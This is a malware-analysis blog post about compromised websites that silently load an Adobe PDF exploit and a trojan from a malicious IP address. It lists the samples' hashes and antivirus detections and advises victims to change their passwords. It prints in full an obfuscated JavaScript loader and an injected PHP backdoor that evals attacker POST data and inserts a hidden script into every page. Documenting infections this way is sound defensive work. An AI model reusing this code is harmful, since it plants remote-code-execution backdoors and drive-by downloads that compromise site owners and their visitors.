Follow this page for desinfection: Malware Manipulating Google SERPs (from blog.scansafe.com) After promoting some spyware and other rogue security software, now this is another list of compromised websites all with obfuscated javascript code inserted which result in: hxxp://94.247.2.195/news/?id=100 (Analysis) which call hxxp://94.247.2.195/news/?id=2 and download a PDF with a random name QRB.pdf, WXk.pdf ... File size: 10417 bytes MD5: af28f3bc9424a3da7ff8bc84740bce93 VirusTotal Analysis: 0/40 (0%) when running it load hxxp://94.247.2.195/news/?id=10& With an Adobe Collab overflow (CVE-2007-5659) Wepawet Analysis
which lead to an executable beeing downloaded and executed.
Also with a random name PO.exe, 8lv.exe ... File Size: 15360 Bytes MD5: 791509d03706cbc8883536b5131341d4 Anubis Report VirusTotal Analysis: 10/40 (25%) a-squared - Trojan-Spy.Agent!IK Avast - Win32.Daonol-L eSafe - Suspicious File GData - Win32:KillAV-KS Irakus - Trojan-Spy.Agent Kaspersky - Backdoor.Win32.Agent.afhg McAfee+Artemis - Generic!Artemis Prevx1 - High Risk Cloaked Malware Sophos - Mal/Generic-A TrendMicro - PAK_Generic.001
First received on 04.03.2009 18:36:21 (CET) Ikarus: Trojan-Spy.Agent (Sig-Id:975847) ThreatExpert Report Prevx Source: dreamhost.com discussion dynamicdrive.com forum windowsbbs.com forum spywarewarrior.com forum who-is-who-in-gpt.com tcheval.net forum (FR)
Also interesting on this IP is this script: If you have this code in your site, you are probably on of these victims. Change all your passwords, including FTP, emails etc. On all your accounts. 94.247.2.195/jquery.js or 78.110.175.249/jquery.js (not responding) in Russia descr: LIMIT SUREHOST - AAS188-RIPE - @ukservers.com person: Alexander A Solovyov - @limt.ru LIMT Group Ltd. has zero web presence, apart from SPAM, hacking and other problems. They are clearly a bogus company. Clear evidence of criminal fraud. "Same for LIMIT SUREHOST"
route: 78.110.160.0/20 - UK Dedicated Servers Limited - AS42831 - UKSERVERS-MNT Javascript code: <script language=javascript> document.write(unescape(' %3CGXscrLrGXirLpt%20VhsrcrL%3DSn%2FHY8%2F78HY8%2EGX1GX1Cl60%2ECl6 1Cl67Cl65Cl6%2E24Vh9zAn%2FCl6jquVheHY8rrLyCl6%2EjSns%3EGX%3C%2FGXsz AnczAnrHY8iprLtzAn%3E '). replace(/Cl6|HY8|zAn|Sn|rL|Vh|GX/g,"")); </script>
Script found on compromised websites all for the benefit of the infamous Russian Business Network (RBN).
PHP code injected
<?php if (!function_exists('tmp_lkojfghx')) { for ($i = 1; $i < 10; $i++) if (is_file($f = '/tmp/m' . $i)) { include_once($f); break; } if (isset($_POST['tmp_lkojfghx3'])) eval($_POST['tmp_lkojfghx3']); if (!defined('TMP_XHGFJOKL')) define('TMP_XHGFJOKL', base64_decode('PHNjcmlwdCBsYW5 ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaX RlKHVuZXNjYXBlKCdyYzYlM0Nla2JzMndjcmlJaXAyd3QlMjBzMFM wcmMlM0QlMkYlMkY3SFh6OCUyRTBTMDEydzEwSFh6JTJFcm M2MXJON0hYejVEdSUyRXJOMjRla2I5JTJGMndqcmM2cUlpdW VyZWtieWVrYiUyRXJjNmpyYzZzJTNFMFMwJTNDMnclMkZzYzB TMHJIWHppcGVrYnQlM0UnKS5yZXBsYWNlKC9yYzZ8MFMwfE lpfER1fGVrYnxyTnwyd3xIWHovZywiIikpOwogLS0+PC9zY3Jp cHQ+')); function tmp_lkojfghx($s) { if ($g = (bin2hex(substr($s, 0, 2)) == '1f8b')) $s = gzinflate(substr($s, 10, -8)); if (preg_match_all('#<script(.*?)</script>#is', $s, $a)) foreach ($a[0] as $v) if (count(explode("\n", $v)) > 5) { $e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v); if ((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write'))) $s = str_replace($v, '', $s); } $s1 = preg_replace('#<script language=javascript> <!-- \ndocument\.write\(unescape\(".+?\n --></script>#', '', $s); if (stristr($s, '<body')) $s = preg_replace('#(\s*<body)#mi', TMP_XHGFJOKL . '\1', $s1); elseif (($s1 != $s) || stristr($s, '</body') || stristr($s, '</title>')) $s = $s1 . TMP_XHGFJOKL; return $g ? gzencode($s) : $s; } function tmp_lkojfghx2($a = 0, $b = 0, $c = 0, $d = 0) { $s = array(); if ($b && $GLOBALS['tmp_xhgfjokl']) call_user_func($GLOBALS['tmp_xhgfjokl'], $a, $b, $c, $d); foreach (@ob_get_status(1) as $v) if (($a = $v['name']) == 'tmp_lkojfghx') return; else $s[] = array($a == 'default output handler' ? false : $a); for ($i = count($s) - 1; $i >= 0; $i--) { $s[$i][1] = ob_get_contents(); ob_end_clean(); } ob_start('tmp_lkojfghx'); for ($i = 0; $i < count($s); $i++) { ob_start($s[$i][0]); echo $s[$i][1]; } } } if (($a = @set_error_handler('tmp_lkojfghx2')) != 'tmp_lkojfghx2') $GLOBALS['tmp_xhgfjokl'] = $a; tmp_lkojfghx2(); ?>
with colors:
Google search
|